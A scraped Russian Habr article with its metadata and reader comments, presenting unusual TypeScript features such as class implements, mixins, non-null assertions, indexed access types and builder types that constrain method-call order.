пояснением: [code] // Для проверки включаем режим --strictNullChecks type OptType = { maybe?: { data: string; }; }; // ... function process(optType: OptType) { completeOptFields(optType); // Мы знаем наверняка, что метод completeOptFields заполнит все необязательные поля. window.console.log(optType.maybe!.data); // ^ - берем на себя ответственность, что здесь не null // если уберем !, то получим от tsc: Object is possibly 'undefined' } function completeOptFields(optType: OptType) { if (!optType.maybe) { optType.maybe = { data: "some default info" }; } } [/code] Итого, этот оператор позволяет убрать лишние проверки на null в коде, если мы уверены... Находка: Восклицательный знак в роли Definite assignment assertion modifier Этот модификатор позволит нам проинициализировать свойство класса потом, где-то в коде, при включенной опции компиляции strictPropertyInitialization. Пример с пояснением: [code] // Для проверки включаем режим --strictPropertyInitialization class Field { foo!: number; // ^ // Notice this '!' modifier. // This is the "definite assignment assertion" constructor() { this.initialize(); } initialize() { this.foo = 0; // ^ инициализация здесь } } [/code] Но вся эта мини выкладка про восклицательный знак не имела бы смысла без минутки юмора. Вопрос: Как вы думаете, скомпилируется ли следующее выражение? [code] // Для проверки включаем режим --strictNullChecks type OptType = { maybe?: { data: string; }; }; function process(optType: OptType) { if (!!!optType.maybe!!!) { window.console.log("Just for fun"); } window.console.log(optType.maybe!!!!.data); } [/code] Ответ Да ## Типы Каждый, кто пишет сложные типы открывает для себя много интересного. Вот и мне повезло. Находка: на подтип можно ссылаться по имени поля основного типа. [code] type Person = { id: string; name: string; address: { city: string; street: string; house: string; } }; type Address = Person["address"]; [/code] Когда Вы пишите типы сами, такой подход объявления навряд ли имеет смысл. Но бывает так, что тип приходит из внешней библиотеки, а подтип — нет. Трюк с подтипом можно применять и для повышения читаемости кода. Представьте, что у Вас есть базовый класс с generic типом, от которого наследуются классы. Пример ниже иллюстрирует сказанное [code] class BaseDialog<In, Out> { show(params: In): Out {/** базовый код. В конце return ... */ } } // Декларация по-старинке class PersonDialogOld extends BaseDialog<Person[], string> {/** код здесь */} // Повышаем читаемость class PersonDialog extends BaseDialog<Person[], Person["id"]> {/** код здесь */} [/code] Находка: с помощью системы типов TypeScript возможно добиться комбинаторного набора порожденных типов с покрытием нужной функциональности. Сложно сказано, знаю. Долго думал над этой формулировкой. Покажу на примере шаблона Builder, как одного из самых известных. Представьте, что Вам нужно построить некий объект используя этот шаблон проектирования. [code] class SimpleBuilder { private constructor() {} static create(): SimpleBuilder { return new SimpleBuilder(); } firstName(firstName: string): this { return this; } lastName(lastName: string): this { return this; } middleName(midleName: string): this { return this; } build(): string { return "what you needs"; } } const builder = SimpleBuilder.create(); // Так мы получаем требуемый объект. const result = builder.firstName("F").lastName("L").middleName("M").build(); [/code] Пока не смотрите на избыточный метод create, приватный конструктор и вообще на использование этого шаблона в ts. Сосредоточиться нужно на цепочке вызовов. Идея в том, что вызываемые методы должны быть использованы строго 1 раз. Причем Ваша IDE также должна знать об этом. Другими словами после вызова любого метода у экземпляра builder этот метод должен исключаться из списка доступных. Достичь такой функциональности нам поможет тип NarrowCallside. [code] type ExcludeMethod<T, K extends keyof T> = Pick<T, Exclude<keyof T, K>>; type NarrowCallside<T> = { [P in keyof T]: T[P] extends (...args: any) => T ? ReturnType<T[P]> extends T ? (...args: Parameters<T[P]>) => NarrowCallside<ExcludeMethod<T, P>> : T[P] : T[P]; }; class SimpleBuilder { private constructor() {} static create(): NarrowCallside<SimpleBuilder> { return new SimpleBuilder(); } firstName(firstName: string): this { return this; } lastName(lastName: string): this { return this; } middleName(midleName: string): this { return this; } build(): string { return "what you needs"; } } const builder = SimpleBuilder.create(); const result = builder.firstName("F") // ^ - доступны все методы .lastName("L") // ^ - здесь доступны lastName, middleName и build .middleName("M") // ^ - здесь доступны middleName и build .build(); // ^ - здесь доступен только build [/code] Находка: с помощью системы типов TypeScript можно управлять последовательностью вызовов, указывая строгий порядок. В примере ниже с помощью типа DirectCallside продемонстрируем это. [code] type FilterKeys<T> = ({[P in keyof T]: T[P] extends (...args: any) => any ? ReturnType<T[P]> extends never ? never : P : never })[keyof T]; type FilterMethods<T> = Pick<T, FilterKeys<T>>; type BaseDirectCallside<T, Direct extends any[]> = FilterMethods<{ [Key in keyof T]: T[Key] extends ((...args: any) => T) ? ((..._: Direct) => any) extends ((_: infer First, ..._1: infer Next) => any) ? First extends Key ? (...args: Parameters<T[Key]>) => BaseDirectCallside<T, Next> : never : never : T[Key] }>; type DirectCallside<T, P extends Array<keyof T>> = BaseDirectCallside<T, P>; class StrongBuilder { private constructor() {} static create(): DirectCallside<StrongBuilder, ["firstName", "lastName", "middleName"]> { return new StrongBuilder() as any; } firstName(firstName: string): this { return this; } lastName(lastName: string): this { return this; } middleName(midleName: string): this { return this; } build(): string { return "what you needs"; } } const sBuilder = StrongBuilder.create(); const sResult = sBuilder.firstName("F") // ^ - доступны только firstName и build .lastName("L") // ^ - доступны только lastName и build .middleName("M") // ^ - доступны только middleName и build .build(); // ^ - доступен только build [/code] ## Итого Это все мои интересные находки по TypeScript на сегодня. Всем спасибо за внимание и до новых встреч.
<div xmlns="http://www.w3.org/1999/xhtml">TypeScript — поистине прекрасный язык. В его арсенале есть все, что необходимо для качественной разработки. И если вдруг, кому-то знакомы секс-драматические этюды с JavaScript, то меня поймет. TypeScript имеет ряд допущений, неожиданный синтаксис, восхитительные конструкции, которые подчеркивают его красоту, форму и наполняют новым смыслом. Сегодня речь о них, об этих допущениях, о магии выражений. Кому интересно, добро пожаловать.<br/> <a name="habracut"></a><br/> <h2>Немного правды</h2><br/> Правда N1.<br/> <br/> Большинство конструкций и неожиданных находок, изложенных ниже, мне впервые попались на глаза на страницах Stack Overflow, github или вовсе были изобретены самостоятельно. И только потом дошло — это все есть <a href="https://github.com/Microsoft/TypeScript/wiki/What%27s-new-in-TypeScript">здесь</a> или <a href="https://www.typescriptlang.org/docs/handbook/release-notes/typescript-3-5.html">здесь</a>. Поэтому заранее прошу отнестись с пониманием, если изложенные находки Вам покажутся банальными.<br/> <br/> Правда N2.<br/> <br/> Практическая ценность некоторых конструкций равна 0.<br/> <br/> Правда N3.<br/> <br/> Примеры проверялись под tsc версии 3.4.5 и целевой es5. На всякий случай под спойлером конфиг<br/> <br/> <div class="spoiler"><b class="spoiler_title">tsconfig.json</b><div class="spoiler_text">{<br/> «compilerOptions»: {<br/> «outFile»: "./target/result.js",<br/> «module»: «amd»,<br/> «target»: «es5»,<br/> «declaration»: true,<br/> «noImplicitAny»: true,<br/> «noImplicitReturns»: true,<br/> «strictNullChecks»: true,<br/> «strictPropertyInitialization»: true,<br/> «experimentalDecorators»: true,<br/> «emitDecoratorMetadata»: true,<br/> «preserveConstEnums»: true,<br/> «noResolve»: true,<br/> «sourceMap»: true,<br/> «inlineSources»: true<br/> },<br/> «include»: [<br/> "./src"<br/> ]<br/> }<br/> <br/> </div></div><br/> <h2>Реализация и наследование</h2><br/> <b>Находка</b>: в секции implements можно указывать интерфейсы, типы и <i>классы</i>. Нас интересуют последние. Подробности <a href="https://www.typescriptlang.org/docs/handbook/interfaces.html#interfaces-extending-classes">здесь</a><br/> <br/> <pre><code class="plaintext"> abstract class ClassA { abstract getA(): string; } abstract class ClassB { abstract getB(): string; } // Да, tsc нормально на это реагирует abstract class ClassC implements ClassA, ClassB { // ^ обратите внимание, на использование implements с классами. abstract getA(): string; abstract getB(): string; } </code></pre><br/> Думаю разработчики TypeScript позаботились о 'строгих контрактах', исполненных через ключевое слово class. Причем классы необязательно должны быть абстрактными.<br/> <br/> <b>Находка</b>: в секции extends допускаются выражения. <a href="https://www.typescriptlang.org/docs/handbook/release-notes/typescript-1-6.html#extending-expressions">Подробности</a>. Если задаться вопросом — можно ли унаследоваться от 2х классов, то формальный ответ — нет. Но если имеется в виду экспорт функциональности — да.<br/> <br/> <pre><code class="plaintext">class One { one = "__one__"; getOne(): string { return "one"; } } class Two { two = "__two__"; getTwo(): string { return "two"; } } // Теже миксины, но в удобном виде: Подсказки в IDE (кроме статических полей) и автокомплит как положено. class BothTogether extends mix(One, Two) { // ^ находка в том, что в части extends допускаются выражения info(): string { return "BothTogether: " + this.getOne() + " and " + this.getTwo() + ", one: " + this.one + ", two: " + this.two; // ^ подсказки от IDE здесь и ^ имеется } } type FaceType&lt;T> = { [K in keyof T]: T[K]; }; type Constructor&lt;T> = { // prototype: T &amp; {[key: string]: any}; new(): T; }; // TODO: эта реализация на коленке, можно не глядеть. Классная реализация есть на просторах интернета function mix&lt;O, T, Mix = O &amp; T>(o: Constructor&lt;O>, t: Constructor&lt;T>): FaceType&lt;Mix> &amp; Constructor&lt;Mix> { function MixinClass(...args: any) { o.apply(this, args); t.apply(this, args); } const ignoreNamesFilter = (name: string) => ["constructor"].indexOf(name) === -1; [o, t].forEach(baseCtor => { Object.getOwnPropertyNames(baseCtor.prototype).filter(ignoreNamesFilter).forEach(name => { MixinClass.prototype[name] = baseCtor.prototype[name]; }); }); return MixinClass as any; } const bt = new BothTogether(); window.console.log(bt.info()); // >> BothTogether: one and two, one: __one__, two: __two__ </code></pre><br/> <b>Находка</b>: <i>глубокий</i> и в тоже время бессмысленный аноним.<br/> <br/> <pre><code class="plaintext">const Сlass = class extends class extends class extends class extends class {} {} {} {} {}; </code></pre><br/> А кто больше напишет слово класс с 4 extends в примере выше?<br/> <br/> <div class="spoiler"><b class="spoiler_title">Если так</b><div class="spoiler_text"><pre><code class="plaintext">// tslint:disable const Class = class Class extends class Class extends class Class extends class Class extends class Class {} {} {} {} {}; </code></pre></div></div><br/> А еще больше?<br/> <br/> <div class="spoiler"><b class="spoiler_title">Вот так</b><div class="spoiler_text"><pre><code class="plaintext">// tslint:disable const сlass = class Class&lt;Class> extends class Class extends class Class extends class Class extends class Class {} {} {} {} {}; </code></pre></div></div><br/> Ну Вы поняли — просто класс!<br/> <br/> <h2>Восклицательный знак — безграничный оператор и модификатор</h2><br/> <br/> Если Вы не используете настройки компиляции strictNullChecks и strictPropertyInitialization,<br/> то скорее всего знания о восклицательном знаке прошли рядом с Вами… Помимо основного предназначения, для него отведены еще 2 роли.<br/> <br/> <b>Находка</b>: Восклицательный знак в роли <a href="https://www.typescriptlang.org/docs/handbook/release-notes/typescript-2-0.html#non-null-assertion-operator">Non-null assertion operator</a><br/> <br/> Этот оператор позволяет обращаться к полю структуры, которое может быть null без проверки на null. Пример с пояснением:<br/> <br/> <pre><code class="plaintext"> // Для проверки включаем режим --strictNullChecks type OptType = { maybe?: { data: string; }; }; // ... function process(optType: OptType) { completeOptFields(optType); // Мы знаем наверняка, что метод completeOptFields заполнит все необязательные поля. window.console.log(optType.maybe!.data); // ^ - берем на себя ответственность, что здесь не null // если уберем !, то получим от tsc: Object is possibly 'undefined' } function completeOptFields(optType: OptType) { if (!optType.maybe) { optType.maybe = { data: "some default info" }; } } </code></pre><br/> Итого, этот оператор позволяет убрать лишние проверки на null в коде, если мы уверены…<br/> <br/> <b>Находка</b>: Восклицательный знак в роли <a href="https://www.typescriptlang.org/docs/handbook/release-notes/typescript-2-7.html#definite-assignment-assertions">Definite assignment assertion modifier</a><br/> <br/> Этот модификатор позволит нам проинициализировать свойство класса потом, где-то в коде, при включенной опции компиляции strictPropertyInitialization. Пример с пояснением:<br/> <br/> <pre><code class="plaintext">// Для проверки включаем режим --strictPropertyInitialization class Field { foo!: number; // ^ // Notice this '!' modifier. // This is the "definite assignment assertion" constructor() { this.initialize(); } initialize() { this.foo = 0; // ^ инициализация здесь } } </code></pre><br/> Но вся эта мини выкладка про восклицательный знак не имела бы смысла без минутки юмора.<br/> <br/> Вопрос: Как вы думаете, скомпилируется ли следующее выражение?<br/> <br/> <pre><code class="plaintext">// Для проверки включаем режим --strictNullChecks type OptType = { maybe?: { data: string; }; }; function process(optType: OptType) { if (!!!optType.maybe!!!) { window.console.log("Just for fun"); } window.console.log(optType.maybe!!!!.data); } </code></pre><br/> <div class="spoiler"><b class="spoiler_title">Ответ</b><div class="spoiler_text">Да</div></div><br/> <h2>Типы</h2><br/> <br/> Каждый, кто пишет сложные типы открывает для себя много интересного. Вот и мне повезло.<br/> <br/> <b>Находка</b>: на подтип можно ссылаться по имени поля основного типа.<br/> <br/> <pre><code class="plaintext">type Person = { id: string; name: string; address: { city: string; street: string; house: string; } }; type Address = Person["address"]; </code></pre><br/> Когда Вы пишите типы сами, такой подход объявления навряд ли имеет смысл. Но бывает так, что тип приходит из внешней библиотеки, а подтип — нет.<br/> <br/> Трюк с подтипом можно применять и для повышения читаемости кода. Представьте, что у Вас есть базовый класс с generic типом, от которого наследуются классы. Пример ниже иллюстрирует сказанное<br/> <br/> <pre><code class="plaintext">class BaseDialog&lt;In, Out> { show(params: In): Out {/** базовый код. В конце return ... */ } } // Декларация по-старинке class PersonDialogOld extends BaseDialog&lt;Person[], string> {/** код здесь */} // Повышаем читаемость class PersonDialog extends BaseDialog&lt;Person[], Person["id"]> {/** код здесь */} </code></pre><br/> <b>Находка</b>: с помощью системы типов TypeScript возможно добиться комбинаторного набора порожденных типов с покрытием нужной функциональности. Сложно сказано, знаю. Долго думал над этой формулировкой. Покажу на примере шаблона Builder, как одного из самых известных. Представьте, что Вам нужно построить некий объект используя этот шаблон проектирования.<br/> <br/> <pre><code class="plaintext">class SimpleBuilder { private constructor() {} static create(): SimpleBuilder { return new SimpleBuilder(); } firstName(firstName: string): this { return this; } lastName(lastName: string): this { return this; } middleName(midleName: string): this { return this; } build(): string { return "what you needs"; } } const builder = SimpleBuilder.create(); // Так мы получаем требуемый объект. const result = builder.firstName("F").lastName("L").middleName("M").build(); </code></pre><br/> Пока не смотрите на избыточный метод create, приватный конструктор и вообще на использование этого шаблона в ts. Сосредоточиться нужно на цепочке вызовов. Идея в том, что вызываемые методы должны быть использованы строго 1 раз. Причем Ваша IDE также должна знать об этом. Другими словами после вызова любого метода у экземпляра builder этот метод должен исключаться из списка доступных. Достичь такой функциональности нам поможет тип NarrowCallside.<br/> <br/> <pre><code class="plaintext">type ExcludeMethod&lt;T, K extends keyof T> = Pick&lt;T, Exclude&lt;keyof T, K>>; type NarrowCallside&lt;T> = { [P in keyof T]: T[P] extends (...args: any) => T ? ReturnType&lt;T[P]> extends T ? (...args: Parameters&lt;T[P]>) => NarrowCallside&lt;ExcludeMethod&lt;T, P>> : T[P] : T[P]; }; class SimpleBuilder { private constructor() {} static create(): NarrowCallside&lt;SimpleBuilder> { return new SimpleBuilder(); } firstName(firstName: string): this { return this; } lastName(lastName: string): this { return this; } middleName(midleName: string): this { return this; } build(): string { return "what you needs"; } } const builder = SimpleBuilder.create(); const result = builder.firstName("F") // ^ - доступны все методы .lastName("L") // ^ - здесь доступны lastName, middleName и build .middleName("M") // ^ - здесь доступны middleName и build .build(); // ^ - здесь доступен только build </code></pre><br/> <b>Находка</b>: с помощью системы типов TypeScript можно управлять последовательностью вызовов, указывая строгий порядок. В примере ниже с помощью типа DirectCallside продемонстрируем это.<br/> <br/> <pre><code class="plaintext">type FilterKeys&lt;T> = ({[P in keyof T]: T[P] extends (...args: any) => any ? ReturnType&lt;T[P]> extends never ? never : P : never })[keyof T]; type FilterMethods&lt;T> = Pick&lt;T, FilterKeys&lt;T>>; type BaseDirectCallside&lt;T, Direct extends any[]> = FilterMethods&lt;{ [Key in keyof T]: T[Key] extends ((...args: any) => T) ? ((..._: Direct) => any) extends ((_: infer First, ..._1: infer Next) => any) ? First extends Key ? (...args: Parameters&lt;T[Key]>) => BaseDirectCallside&lt;T, Next> : never : never : T[Key] }>; type DirectCallside&lt;T, P extends Array&lt;keyof T>> = BaseDirectCallside&lt;T, P>; class StrongBuilder { private constructor() {} static create(): DirectCallside&lt;StrongBuilder, ["firstName", "lastName", "middleName"]> { return new StrongBuilder() as any; } firstName(firstName: string): this { return this; } lastName(lastName: string): this { return this; } middleName(midleName: string): this { return this; } build(): string { return "what you needs"; } } const sBuilder = StrongBuilder.create(); const sResult = sBuilder.firstName("F") // ^ - доступны только firstName и build .lastName("L") // ^ - доступны только lastName и build .middleName("M") // ^ - доступны только middleName и build .build(); // ^ - доступен только build </code></pre><br/> <h2>Итого</h2><br/> <br/> Это все мои интересные находки по TypeScript на сегодня. Всем спасибо за внимание и до новых встреч.</div>
Евгений (reforms)
null
null
TypeScript — поистине прекрасный язык. В его арсенале есть все, что необходимо для качественной разработки. И если вдруг, кому-то знакомы секс-драматические этюды с JavaScript, то меня поймет. TypeScript имеет ряд допущений, неожиданный синтаксис, восхитительные конструкции, которые подчеркивают его красоту, форму и наполняют новым смыслом. Сегодня речь о них, об этих допущениях, о магии выражений. Кому интересно, добро пожаловать.<br>
TypeScript — поистине прекрасный язык. В его арсенале есть все, что необходимо для качественной разработки. И если вдруг, кому-то знакомы секс-драматические этюды с JavaScript, то меня поймет. TypeScript имеет ряд допущений, неожиданный синтаксис, восхитительные конструкции, которые подчеркивают его красоту, форму и наполняют новым смыслом. Сегодня речь о них, об этих допущениях, о магии выражений. Кому интересно, добро пожаловать.
article
1,566,987,485
{ "commentsCount": 23, "favoritesCount": 112, "readingCount": 30220, "score": 35, "votesCount": 41, "votesCountPlus": 38, "votesCountMinus": 3 }
[]
[ "typescript" ]
[ "develop" ]
[ "typescript", "expressions" ]
7
null
null
{ "id": [ 20559419, 20559515, 20559595, 20560165, 20560197, 20560207, 20560941, 20561305, 20561613, 20562027, 20562289, 20562361, 20562383, 20562525, 20563425, 20563559, 20563731, 20563777, 20564163, 20564455, 20565877, 20566239, 20566385 ], "parent_id": [ null, null, null, null, 20560165, 20560165, 20559595, null, 20559419, 20561305, 20562027, 20561305, 20562289, 20562361, null, null, 20563425, 20563731, 20563425, 20563777, 20562383, 20561305, 20566239 ], "level": [ 0, 0, 0, 0, 1, 1, 1, 0, 1, 1, 2, 1, 3, 2, 0, 0, 1, 2, 1, 3, 4, 1, 2 ], "time_published": [ 1566993215, 1566993892, 1566994525, 1566998778, 1566999223, 1566999320, 1567010108, 1567018645, 1567025606, 1567053889, 1567060949, 1567061967, 1567062090, 1567063594, 1567071547, 1567072886, 1567074901, 1567075321, 1567079427, 1567082630, 1567103421, 1567112121, 1567117772 ], "score": [ 10, 1, 1, 0, 2, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ], "votes": [ 10, 1, 1, 0, 2, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ], "message_html": [ "<div xmlns=\"http://www.w3.org/1999/xhtml\">Выглядит как магия. Порой мне кажется, что я могу написать у себя в резюме, что я знаю Тайпскрипт, но после такого желание отпадает</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><blockquote>Выглядит как магия.</blockquote><br/>\r\nУ нас по этому поводу в компании ходит шутка: 'В коде не должно быть никакой магии, а волшебство — пожалуйста'</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Автору поста тогда вопрос, как нормально реализовать типы, когда приналичии одного из передаваемых пропсов можно использовать и другие. Например мы хотим давать возможность устанавливать цвет рамок, только если в передаваемых пропсах так же указано, что мы вообще хотим использовать рамку. Самому ответ кажется очевидным, да и он есть в примерах, но при большом количестве наследуемых типов теряется подсветка в ide, а значит толку от таких типов не много.</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><blockquote>Находка: Восклицательный знак в роли Non-null assertion operator</blockquote><br/>\r\nЭто вредный совет, рано или поздно вы по невнимательности наткнетесь на проверку number или string таким образом и получите баг. Лучше запретить использование небулевого выражения в булевом контексте с помощью tslint.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Этот оператор не имеет никакого отношения к приведению к boolean. Этот оператор убирает null из типа.</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">невнимательно прочитал, оказывается речь шла не про assertion, а про подавление warning optType.maybe!.data</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Я не автор, но попробую ответить.</p><br/>\r\n<p>Насколько я понимаю, TS не работает с отдельными частями интерфейса, а лишь \"дискриминирует\" состояние целиком. (Изначально union это как бы квантовое состояние, которое коллапсирует с каждым новым ограничением, но лишь целиком, пока не остается статический тип)</p><br/>\r\n<p>Таким образом, сделать это можно юнионом как в примерах, но это приводит к комбинаторному взрыву состояний… (у IDE обычно ограничения глубины для комфорта работы, а компиляция просто будет все дольше и дольше)<br/>\r\nИ того нам остается:</p><br/>\r\n<ol>\r\n<li>Использовать под интерфейсы. Меняя структуру данных.</li>\r\n<li>Делать юнионы, при разумных количествах комбинаций.</li>\r\n<li>Забить.</li>\r\n</ol></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">+ к статье<br/>\r\nНа тайпскрипте можно написать ограниченный итератор (на 40 шагов), что позволяет делать некоторые крутые штуки<br/>\r\n<a href=\"https://github.com/pirix-gh/ts-toolbelt/blob/master/src/Tuple/Drop.ts\">github.com/pirix-gh/ts-toolbelt/blob/master/src/Tuple/Drop.ts</a><br/>\r\nкак пример<br/>\r\nКажется это можно использовать для такой задачи <br/>\r\n[{key: 'a', value: 'b'}, {key: 'b', value: 'c'}] в {a: 'b', b: 'c'}</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>С одной стороны тайпскрипт является хорошей попыткой типизировать JS, закрывая один пласт проблем, но с другой стороны вносит другой пласт проблем поверх и так проблемного JS. Смотря на подобные вещи и на ошибки в багтрекере, понимаешь что это хождение по тонкому льду. Может это только моё субъективное мнение, но ощущается это именно так.</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Это ирония или я чего-то не понимаю? Чем плох reduce?</p><br/>\r\n<pre><code class=\"plaintext\">[{key: 'a', value: 'b'}, {key: 'b', value: 'c'}].reduce((acc, elem) => ({ ...acc, [elem.key]: elem.value }), {})</code></pre></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Я про конвертацию типов а не реальных значений</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">За ссылку спасибо, в какой-то мере там кладезь знаний по типа ts</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><pre><code class=\"javascript\">type arr = [{key: 'a', value: 'b'}, {key: 'b', value: 'c'}];\ntype obj = {\n [K in arr[number]['key']]: Extract&lt;arr[number], {key: K}>['value']\n};\nconst obj: obj = {a: 'b', b: 'c'} // ошибки нет\nconst wrong1: obj = {}; // не хватает параметров\nconst wrong2: obj = {a: 'b', b: 'c', c: 'd'} // параметр c лишний\nconst wrong3: obj = {a: 'b', b: 1} // параметр b не того типа</code></pre><br/>\r\n<p>Что я делаю не так?</p><br/>\r\n<p>upd: хабр, запили подсветку TS >&lt;</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>С другой стороны, там очень сильно перемудрили. Например, вместо типа true ввели тип True=1. Аналогичные обёртки запилили над всеми типами. Или вместо двух обобщённых типов понавтыкали один с флагом. Или вкорячили арифметику для чисел от -40 до 40. Короче, как источник идей как типизировать что-то хитрое типа Compose использовать можно, но тянуть в проект такое я бы поостерёгся.</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Магия TS мне очень нравится. Однако разбираться и разбираться в ней.<br/>\r\nНапример, попробовал сделать маппер, с полной поддержкой TS<br/>\r\n<pre><code class=\"javascript\">interface MyMapper&lt;F, T, TK extends keyof T> {\n field: keyof F;\n map: IMapScheme&lt;F, T[TK]>; \n}\n\ntype IMapScheme&lt;F, T> = {\n [TK in keyof T]: keyof F | MyMapper&lt;F, T, TK>;\n};\n\ninterface From {\n _id: string;\n name: string;\n data: {\n foo: string;\n bar: string;\n };\n}\n\ninterface To {\n id: string;\n name: string;\n meta: {\n fooData: string;\n };\n}\n\nconst Try1Scheme: IMapScheme&lt;From, To> = {\n id : '_id',\n name: 'name',\n meta: {\n field: 'data',\n map : {\n fooData: 'foo',\n },\n },\n};</code></pre><br/>\r\n<br/>\r\nИ очень просится написать что-то на подобии <br/>\r\n<pre><code class=\"javascript\">interface MyMapper&lt;F, T, TK extends keyof T> {\n field: keyof F;\n map: IMapScheme&lt;F[this.field], T[TK]>; \n}</code></pre><br/>\r\n<br/>\r\nТакая магия возможна?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Cистема типов TypeScript явялется Тьюринг-полной <a href=\"https://github.com/Microsoft/TypeScript/issues/14833\">github.com/Microsoft/TypeScript/issues/14833</a> <br/>\r\n<br/>\r\nВпрочем, не только у TypeScript, но и у Java <a href=\"https://habr.com/ru/post/330724/\">habr.com/ru/post/330724</a>, и С++ и др.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Не очень понял зачем вам эти типы. Просто напишите функцию-маппер и возльмите от неё typeof.</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Я хочу создать объект, который описывает как должно быть замаплено.<br/>\r\nОбъект именно потому что несколько таких объектов можно потом склеить, в специфике этого приложения это крутая фича.<br/>\r\nИ мне интересно, может ли его валидность проверить сам TS.<br/>\r\nА про функцию — задача эта уже решена, но хотелось бы ее решить красиво.<br/></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Задачка интересная. Сходу мне решить ее не удалось. Подумаю на досуге.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Функции тоже можно склеивать ведь.<br/>\r\nТакой маппинг, как вы хотите, очень не гибок. Небольшое изменение требований и весь его выбрасывать.</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Блин, прикольно, даже не думал об таком подходе</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><blockquote>Кажется это можно использовать для такой задачи</blockquote><p>Если Вы говорили конкретно про Drop, а не про библиотеку, то это не совсем верно. Drop нужен для исключения первых элементов кортежа.</p><br/>\r\n<pre><code class=\"plaintext\">type List = [number, string, boolean, undefined];\ntype DroppedList1 = Drop&lt;MyList, 1>; // [string, boolean, undefined]\ntype DroppedList2 = Drop&lt;MyList, 2>; // [boolean, undefined]</code></pre><br/>\r\n<p><a href=\"https://www.freecodecamp.org/news/typescript-curry-ramda-types-f747e99744ab/\">https://www.freecodecamp.org/news/typescript-curry-ramda-types-f747e99744ab/</a></p><br/>\r\n<p>В этой статье есть много про паттерны для работы с кортежами.</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Не, я в целом имел ввиду подход к итерации на уровне типов</div>" ], "message_markdown": [ "Выглядит как магия. Порой мне кажется, что я могу написать у себя в резюме, что я знаю Тайпскрипт, но после такого желание отпадает", "> Выглядит как магия.\nУ нас по этому поводу в компании ходит шутка: 'В коде не должно быть никакой магии, а волшебство — пожалуйста'", "Автору поста тогда вопрос, как нормально реализовать типы, когда приналичии одного из передаваемых пропсов можно использовать и другие. Например мы хотим давать возможность устанавливать цвет рамок, только если в передаваемых пропсах так же указано, что мы вообще хотим использовать рамку. Самому ответ кажется очевидным, да и он есть в примерах, но при большом количестве наследуемых типов теряется подсветка в ide, а значит толку от таких типов не много.", "> Находка: Восклицательный знак в роли Non-null assertion operator\nЭто вредный совет, рано или поздно вы по невнимательности наткнетесь на проверку number или string таким образом и получите баг. Лучше запретить использование небулевого выражения в булевом контексте с помощью tslint.", "Этот оператор не имеет никакого отношения к приведению к boolean. Этот оператор убирает null из типа.", "невнимательно прочитал, оказывается речь шла не про assertion, а про подавление warning optType.maybe!.data", "Я не автор, но попробую ответить.\nНасколько я понимаю, TS не работает с отдельными частями интерфейса, а лишь \"дискриминирует\" состояние целиком. (Изначально union это как бы квантовое состояние, которое коллапсирует с каждым новым ограничением, но лишь целиком, пока не остается статический тип)\nТаким образом, сделать это можно юнионом как в примерах, но это приводит к комбинаторному взрыву состояний... (у IDE обычно ограничения глубины для комфорта работы, а компиляция просто будет все дольше и дольше)\nИ того нам остается:\n 1. Использовать под интерфейсы. Меняя структуру данных.\n 2. Делать юнионы, при разумных количествах комбинаций.\n 3. Забить.", "\\+ к статье\nНа тайпскрипте можно написать ограниченный итератор (на 40 шагов), что позволяет делать некоторые крутые штуки\ngithub.com/pirix-gh/ts-toolbelt/blob/master/src/Tuple/Drop.ts\nкак пример\nКажется это можно использовать для такой задачи\n[{key: 'a', value: 'b'}, {key: 'b', value: 'c'}] в {a: 'b', b: 'c'}", "С одной стороны тайпскрипт является хорошей попыткой типизировать JS, закрывая один пласт проблем, но с другой стороны вносит другой пласт проблем поверх и так проблемного JS. Смотря на подобные вещи и на ошибки в багтрекере, понимаешь что это хождение по тонкому льду. Может это только моё субъективное мнение, но ощущается это именно так.", "Это ирония или я чего-то не понимаю? Чем плох reduce?\n[code]\n [{key: 'a', value: 'b'}, {key: 'b', value: 'c'}].reduce((acc, elem) => ({ ...acc, [elem.key]: elem.value }), {})\n[/code]", "Я про конвертацию типов а не реальных значений", "За ссылку спасибо, в какой-то мере там кладезь знаний по типа ts", "[code]\n type arr = [{key: 'a', value: 'b'}, {key: 'b', value: 'c'}];\n type obj = {\n [K in arr[number]['key']]: Extract<arr[number], {key: K}>['value']\n };\n const obj: obj = {a: 'b', b: 'c'} // ошибки нет\n const wrong1: obj = {}; // не хватает параметров\n const wrong2: obj = {a: 'b', b: 'c', c: 'd'} // параметр c лишний\n const wrong3: obj = {a: 'b', b: 1} // параметр b не того типа\n[/code]\nЧто я делаю не так?\nupd: хабр, запили подсветку TS ><", "С другой стороны, там очень сильно перемудрили. Например, вместо типа true ввели тип True=1. Аналогичные обёртки запилили над всеми типами. Или вместо двух обобщённых типов понавтыкали один с флагом. Или вкорячили арифметику для чисел от -40 до 40. Короче, как источник идей как типизировать что-то хитрое типа Compose использовать можно, но тянуть в проект такое я бы поостерёгся.", "Магия TS мне очень нравится. Однако разбираться и разбираться в ней.\nНапример, попробовал сделать маппер, с полной поддержкой TS\n[code]\n interface MyMapper<F, T, TK extends keyof T> {\n field: keyof F;\n map: IMapScheme<F, T[TK]>;\n }\n type IMapScheme<F, T> = {\n [TK in keyof T]: keyof F | 